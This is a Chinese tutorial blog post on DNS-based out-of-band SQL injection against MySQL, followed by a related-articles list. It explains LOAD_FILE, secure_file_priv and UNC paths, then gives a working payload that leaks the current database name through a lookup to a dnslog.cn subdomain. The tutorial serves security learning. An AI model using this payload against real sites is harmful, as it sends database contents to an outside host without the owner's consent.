MySql注入—DNS注入
MySql注入—DNS注入
1、DNS注入原理
一、DNS注入原理
DNS注入,是通过查询相应DNS解析产生的记录日志来获取想要的数据
对于sql盲注这样的方法常常用到二分法,非常麻烦而且没有回显,要耗费大量的时间精力,
或许,salmap工具可以呢,其实在实测中,因为工具的高访问频率,很有可能会导致网站把我们的ip给封掉,除非挂代理池
先来个 知识扫盲:
1、MySQL 有个属性 secure_file_priv 它有三种状态
secure_file_priv= ,没有任何限制
当secure_file_priv=指定文件夹,只能导出或写入指定文件夹
secure_file_priv=NULL,不允许导入导出
在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。并且无法用sql语句对其进行修改,只能够通过以下方式修改
Windows下:
修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =
Linux下:
在/etc/my.cnf的[mysqld]下面添加local-infile=0选项
2、MySQL读取文件的函数:LOAD_FILE()
读取文件并返回文件的内容,内容为字符串
使用此函数满足的必要条件:
1)文件必须位于服务器主机上
2)必须指定文件的完整路径
3)有file权限
4)该文件所有字节可读
以上任一条件不满足,则返回NULL
PS:LOAD_FILE默认是关闭的,要开启需在MySQL的配置文件my.ini里添加一句:secure_file_priv= 才能开启此服务,,一些网站开发者为了方便查找主机的资料就把这个开启了
3、concat() 函数
拼接字符串,用传入要拼接的各个字符串用逗号隔开
concat('abc','de','fg') >>> abcdefg
4、UNC路径
我也不知道如何讲,也查找了网上的说法,没看到讲的比较明白的,大概都是 以下的说法,,后面我想想怎么写在加进来,先复制他们的吧
什么是UNC路径?UNC路径就是类似\\softer这样的形式的网络路径
格式:\\servername\sharename,其中servername是服务器名。sharename是共享资源的名称
写的时候把反斜杠改成正斜杠,因为反斜杠有个转义的作用
OK,,
select load_file(concat('//','注入语句','DNS域名'))
这里的DNS域名小白可能不懂,后期我会在添加补充的,今天先写写,不在状态,如果看着不懂或太累 ,可以私信我,我给做详细 解答
DNS域名获取去一个网站 dnslog.cn
获取域名(Get SubDomain),查看日志(Refresh Record),这个网站都可以完成
比如我们获取了一个域名:p.dnslog.cn
注入语句可以这么写
load_file(concat('//',(database()),'.p.dnslog.cn/abc'))
这是一个获取当前数据库的语句,那么获取内容在哪显示呢,就是获取域名的网站,点击查看日志(Refresh Record),,你会在.p.dnslog.cn前看到数据库,
返回的值就是 >>> 当前数据库.p.dnslog.cn
我们是不是可以用其他 注入语句呢,,of course
这是半个博客,抱歉
MySql注入—DNS注入的更多相关文章
- SQL注入-DNS注入(二)
其实就是盲注的简化版本,不过这种方式确实简单,不需要写py脚本一点点去跑 参考文章: https://www.jianshu.com/p/c805209244c2 这 ...
- SQL注入-DNS注入(一)
这篇文章相对来说比较入门,参考的文章是:https://www.jianshu.com/p/c805209244c2 0x00前言 前段时间在做盲注 分别是基于时间和基于布尔型的 说真的 这两种盲注真 ...
- mysql 带外注入
带外通道 有时候注入发现并没有回显,也不能利用时间盲注,那么就可以利用带外通道,也就是利用其他协议或者渠道,如http请求.DNS解析.SMB服务等将数据带出. payload SELECT LOAD ...
- 十种MYSQL显错注入原理讲解(二)
上一篇讲过,三种MYSQL显错注入原理.下面我继续讲解. 1.geometrycollection() and geometrycollection((select * from(select * f ...
- 十种MYSQL显错注入原理讲解(一)
开篇我要说下,在<代码审计:企业级Web代码安全架构>这本书中讲十种MYSQL显错注入,讲的很清楚. 感兴趣请去读完,若处于某种原因没读还想了解,那请继续往下. 1.count,rand, ...
- Mysql报错注入原理分析(count()、rand()、group by)
Mysql报错注入原理分析(count().rand().group by) 0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截 ...
- MySQL暴错注入方法
mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法 1.通过fl ...
- MySQL防范SQL注入风险
MySQL防范SQL注入风险 0.导读 在MySQL里,如何识别并且避免发生SQL注入风险 1.关于SQL注入 互联网很危险,信息及数据安全很重要,SQL注入是最常见的入侵手段之一,其技术门槛低.成本 ...
- ref:学习笔记 UpdateXml() MYSQL显错注入
ref:https://www.cnblogs.com/MiWhite/p/6228491.html 学习笔记 UpdateXml() MYSQL显错注入 在学习之前,需要先了解 UpdateXml( ...
- 第二百八十一节,MySQL数据库-SQL注入和pymysql模块防止SQL注入
MySQL数据库-SQL注入和pymysql模块防止SQL注入 SQL注入就是通过SQL语句绕开程序判断,获取到数据库的内容 下面以一个简单的程序登录SQL注入举例: 正常登录 1.数据库有一张会员表 ...
随机推荐
- Windows终端的一些配置
前言 记录早前拿到新的笔记本(win10)后配置命令行的过程,以下是环境: 命令行 : CMD,PowerShell7 Shell :Windows Terminal 设置编码格式(当前代码页)为UT ...
- CF1895
A 题意:你在数轴原点.有一个宝箱在 \(x\),钥匙在 \(y\).每移动一单位,耗费 \(1\) 时间.你可以到了 \(x\) 然后抱着宝箱走,但是抱着宝箱走的总路程不能超过 \(k\) 单位.如 ...
- 敏感信息泄露之如何隐藏IIS服务器名称和版本号
1.问题说明 请求IIS部署的网站可以发现响应头中暴露了IIS服务器名称/版本号. 漏洞等级:中 2.解决方案 想办法隐藏掉这部分信息. 2.1 下载并安装微软官方IIS扩展插件 URL Rewrit ...
- mybatis处理集合、数组参数使用in查询
对于mybatis的参数类型是集合数组的时候进行查询. 第一种:参数list ,使用mybatis的标签 1 SELECT * FROM TABLE_NAME AS a WHERE 2 3 a.id ...
- h5页面在微信打开,ios底部存在返回横条的问题
我的问题比较简单,一个处理链接的页面,二次跳转进入真正的页面,导致ios出现返回横条,点击后退回到了处理链接页面.因为这个后退不会重新加载,导致一直处在处理链接的这个空页面. 所以我用replace代 ...
- 如何在矩池云复现开源对话语言模型 ChatGLM
ChatGLM-6B 是一个开源的.支持中英双语的对话语言模型,基于 General Language Model (GLM) 架构,具有 62 亿参数.结合模型量化技术,用户可以在消费级的显卡上进行 ...
- Gitlab 16.9.0 用Access Token注册Gitlab Runner
升级到当前最新版Gitlab之后 在"管理中心"的"CI/CD"--"Runners"下,提示以前的那种注册令牌的方式已经过时了. 点击右上 ...
- 【Azure 应用服务】App Service 默认页面暴露Tomcat版本信息,存在安全风险
问题描述 在创建Azure App Service时,服务端的配置使用Java 8 + Tomcat 8.5.默认的根目录页面显示出App Service Tomcat版本信息,存在一定的安全隐患. ...
- 解密Spring中的Bean实例化:推断构造方法(上)
在Spring中,一个bean需要通过实例化来获取一个对象,而实例化的过程涉及到构造方法的调用.本文将主要探讨简单的构造推断和实例化过程,让我们首先深入了解实例化的步骤. 实例化源码 protecte ...
- kafka的简单架构
定义 Kafka 是一个分布式的基于发布/订阅模式的消息队列(Message Queue) , 主要应用于大数据实时处理领域. 1) Producer : 消息生产者,就是向 kafka broker ...